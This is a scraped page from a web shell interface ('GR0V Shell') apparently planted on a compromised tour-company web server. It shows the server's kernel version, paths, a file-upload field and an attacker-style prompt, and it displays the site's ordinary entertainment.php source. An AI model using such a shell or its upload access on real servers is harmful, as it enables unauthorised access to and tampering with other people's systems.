? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/promice/
File Upload :
Current File : /home/admin/public_html/old/promice/entertainment.php

<?php
session_start();
header('Expires: Thu, 01 Jan 1970 00:00:00 GMT, -1');
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
$root_path="./";
include($root_path."header.php");
$db_tm = new sql_db($dbhost, $dbuser, $dbpasswd, $dbname, false);
$template = new Template($tpl_path);

$result=$db_tm->sql_query("SET NAMES utf8");
$result=$db_tm->sql_query("SELECT * FROM entertainment ORDER BY `date` DESC");
$numrows=$db_tm->sql_numrows($result);
for($i=0;$i<$numrows;$i++){
	$rows=$db_tm->sql_fetchrow($result);
	$template->assign_block_vars('entertain_rows', array(
		"no"=>$i+1,
		"id"=>$rows["id"],
		"subject"=>$rows["subject"],
		"images"=>'<img src="images/images_entertainment/'.$rows["images"].'" width="80" height="80">',
		"date"=>$rows["date"],
		"detail"=>substr_utf8( $rows["detail"], 0 ,300).'...',
		"count"=>number_format($rows["count"]),
	));
}

$template->set_filenames(array('body'=>"entertainment.html"));
$template->assign_vars(array(
"CUR_HOST"=>$cur_host,
"TITLE"=>$title,
"STYLE"=>STYLE,
));
$template->pparse('body');
?>

T1KUS90T
  root-grov@210.1.60.28:~$